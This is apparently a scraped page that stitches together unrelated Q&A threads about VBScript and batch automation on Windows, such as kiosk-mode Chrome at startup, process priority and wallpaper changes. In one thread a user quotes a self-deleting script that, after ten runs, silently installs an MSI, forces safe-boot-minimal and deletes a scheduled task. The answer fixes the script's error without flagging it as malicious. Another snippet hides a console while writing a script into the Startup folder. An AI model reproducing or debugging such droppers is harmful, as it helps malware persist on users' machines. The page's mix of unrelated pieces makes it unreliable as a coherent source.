Google Chrome Stable i am using in Windows 8.1 and in Windows 8.1 Pro from the startup path as following:
timeout 5 > nul
ping 127.0.0.1 -n 11 > nul
#start /b cmd /c "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --kiosk http://www.stackoverflow.com
10% times on boot it works exactly as full-screen mode.
BUT, 90% times on boot it does not work, it launch the Chrome but it does not launch it from top, left 0 pixel
if i manually run that batch file then 100% time it works successfully, but when its automated then it start to mess
Can anyone please help? (i have been having this issue for about 3 months now, and its getting worst because cant find any solution yet to resolve this issue permanently)
I'm working on windows 7 32 bits, so i created this vbscript in order to create a shortcut in the startup folder and to launch the batch file in hidden mode.
Shortcut4Batch.vbs
Option Explicit
Dim PathApplication,ShortcutName,VbsPath
VbsPath = Wscript.ScriptFullName
PathApplication = "C:\Users\Hackoo\Desktop\Hackoo\BAT\stackoverflow\KioskChrome.bat"
ShortcutName = "KioskChrome"
Call Shortcut(VbsPath,ShortcutName)
Call Hidden_Run(Dblquote(PathApplication))
'*********************************************************************************
Sub Shortcut(PathApplication,ShortcutName)
Dim objShell,StartFolder,objShortCut,MyTab
Set objShell = CreateObject("WScript.Shell")
MyTab = Split(PathApplication,"\")
If ShortcutName = "" Then
ShortcutName = MyTab(UBound(MyTab))
End if
StartFolder = objShell.SpecialFolders("Startup")
Set objShortCut = objShell.CreateShortcut(StartFolder & "\" & ShortcutName & ".lnk")
objShortCut.TargetPath = Dblquote(PathApplication)
ObjShortCut.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-25"
objShortCut.Save
End Sub
'*********************************************************************************
Function DblQuote(Str)
DblQuote = Chr(34) & Str & Chr(34)
End Function
'*********************************************************************************
Function Hidden_Run(MyProgram)
Dim ws,Result
Set ws = CreateObject("wscript.Shell")
Result = ws.run(MyProgram,0,True) '0 to hide the program
Hidden_Run = Result
End Function
'*********************************************************************************
KioskChrome.bat
#echo off
#start /b cmd /c "%programfiles%\Google\Chrome\Application\chrome.exe" --kiosk http://www.stackoverflow.com
Related
This question already has an answer here:
Prevent VBscript app from showing Console Window
(1 answer)
Closed 1 year ago.
Hey guys im trying to start a programm hidden with less priority but the command prompt still pop out.
Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "cmd /c Start /belowNormal " & "C:\Users\Desktop\sonso.exe -uri www.google.de",0
Set WShell = Nothing
You asked how to reduce exe priority from VBS without using CMD so here is an example.
(I admit it is not all my own work, but performs as advertised for Notepad.exe)
Don't ask me exactly how it works and it took me ages to find as the vbs example is "missing" from the Microsoft setpriority-method-in-class-win32-process link I include.
Set Priority.vbs
' Set priority of process to Below Normal on Server 2008 & Vista+'
' From https://learn.microsoft.com/en-gb/windows/win32/cimwin32prov/setpriority-method-in-class-win32-process'
' Below Normal (16384) Indicates a process that has priority above IDLE_PRIORITY_CLASS (64),'
' but below NORMAL_PRIORITY_CLASS (32). NOTE:- combined namespace is \\. \Root\CIMV2
' Others ABOVE_NORMAL (32768) HIGH_PRIORITY (128) *REAL_TIME ( 256) *Note To set Realtime,
' the caller must have SeIncreaseBasePriorityPrivilege (SE_INC_BASE_PRIORITY_PRIVILEGE).
' Without this privilege, the highest the priority can be set to is High Priority.
' Use your RUN commands here and replace name = Notepad.exe below or replace Notepad.exe with arg[0]
Set objShell = WScript.CreateObject("WScript.Shell")
' With CMD but minimised so we can open it from taskbar
' objShell.Run "%comspec% /d /c start /min Notepad.exe fred.txt", 0, True
' Without CMD BUT NOT hidden, otherwise how are you going to edit anything or close Notepad.
objShell.Run "c:\windows\Notepad.exe fred.txt"
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\Root\CIMV2")
Set colProcesses = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'Notepad.exe'")
For Each objProcess in colProcesses
objProcess.SetPriority(16384)
Next
Hi I'm windows 10 user with little to zero knowledge about programming. An error came up and windows fail to load... when I my pc opens a dialog box appears.. "Windows script Host"
what is wrong with this code ... the error says it is on line 10 char 2
Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(ccdat)) Then
Set setting = fso.OpenTextFile(ccdat, 1, 0)
cc = CInt(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(ccdat)
objFSO.DeleteFile(strScript)
WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False)
cc = cc+1
setting.Write(cc)
setting.Close
WScript.Quit()
Else
Set setting = fso.CreateTextFile(ccdat, True, False)
setting.Write("0")
setting.Close
WScript.Quit()
End If
Based on your example, it looks like updatesettings.dbf is just a file containing an incremental counter. In fact, the counter value may be larger than MAXINT, which could also cause that error. If true, try changing line 10 from this:
cc = CInt(setting.ReadLine)
To this:
On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0
This should effectively handle the error and force the cc variable to a pre-initialized state, which gets incremented later (line 23) to its original initialization state of zero (0) and saved to the updatesettings.dbf file. Meaning: This should accomplish the same thing as the 'Else' initialization block after line 27 when the updatesettings.dbf file doesn't exist.
Hope this helps.
I am trying to create a script that will use the copy con to write a file
Set objNetwork = CreateObject("Wscript.Network")
CurrentUser = objNetwork.UserName
Set Wshell = CreateObject("WScript.Shell")
Wshell.Run "%COMSPEC% cd C:\Users\" & CurrentUser & _
"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup & copy con master.vbs & x = 1 & x=2^Z", 0, True
The problem here is that while using ^Z does simulate the output of Crtl+Z, CMD doesn't treat them the same.
As you can see, I wanted the console window to be hidden, so using something like SendKeys won't work here.
Any suggestions?
A small VBscript in order to change the desktop background automatically, practically for demo purposes:
dim wshShell
dim sUserName
Set wshShell = WScript.CreateObject("WScript.Shell")
Set oShell = CreateObject("WScript.Shell")
currWallPaper = oShell.RegRead("HKCU\Software\Microsoft\InternetExplorer\Desktop\General\Wallpap erSource")
If currWallPaper = "C:\Users\Utsav\Pictures\493889.png" Then
msgbox "OK1"
sWallPaper = "C:\Users\Utsav\Pictures\336180.png"
ElseIf currWallPaper = "C:\Users\Utsav\Pictures\336180.png" Then
sWallPaper = "C:\Users\Utsav\Pictures\1920-1080-278658.png"
Else
sWallPaper = "C:\Users\Utsav\Pictures\493889.png"
End If
' update in registry
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
' let the system know about the change
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
msgbox "done"
This script works only intermittently, i.e. on executing from command line it will change the background only once in about 4-5 attempts. Any ideas explaining the reason for this behaviour would be most welcome.
My code is
Set WshShell = CreateObject("WScript.shell")
for i = 0 to 50
WshShell.SendKeys(chr(175))
next
Process.Start("CMD", "/C start chrome.exe http://www.example.com")
It sets the volume to full, then opens chrome to example.com. But when I run it I get this error:
Cannot use parentheses while calling a Sub
How can I get it to raise the volume, and go to the webpage?
Try like this way :
Option Explicit
Dim URL,WshShell,i
URL = "www.yahoo.com"
Set WshShell = CreateObject("WScript.shell")
For i = 0 to 50
WshShell.SendKeys(chr(175))
Next
WshShell.run "CMD /C start chrome.exe " & URL & "",0,False
wshshell.run "www.youtube.com"
VBScript requires the CALL keyword when calling a sub with parenthesis. You can either write the code like this:
Set WshShell = CreateObject("WScript.shell")
For i = 0 To 50
WshShell.SendKeys Chr(175)
Next
Process.Start "CMD", "/C start chrome.exe http://www.example.com"
...or like this:
Set WshShell = CreateObject("WScript.shell")
For i = 0 To 50
Call WshShell.SendKeys(Chr(175))
Next
Call Process.Start("CMD", "/C start chrome.exe http://www.example.com")
Note: you don't get this error when calling a function and using its return value, like this:
Dim strTest
strTest = SomeFunction()
...because VBScript always requires the parenthesis when a function is used in an assignment.
This way works for me.
set wshshell = wscript.CreateObject("wscript.shell")
wshshell.run "chrome.exe https://stackoverflow.com"
You can change chrome.exe to whatever browser or the website to whatever you want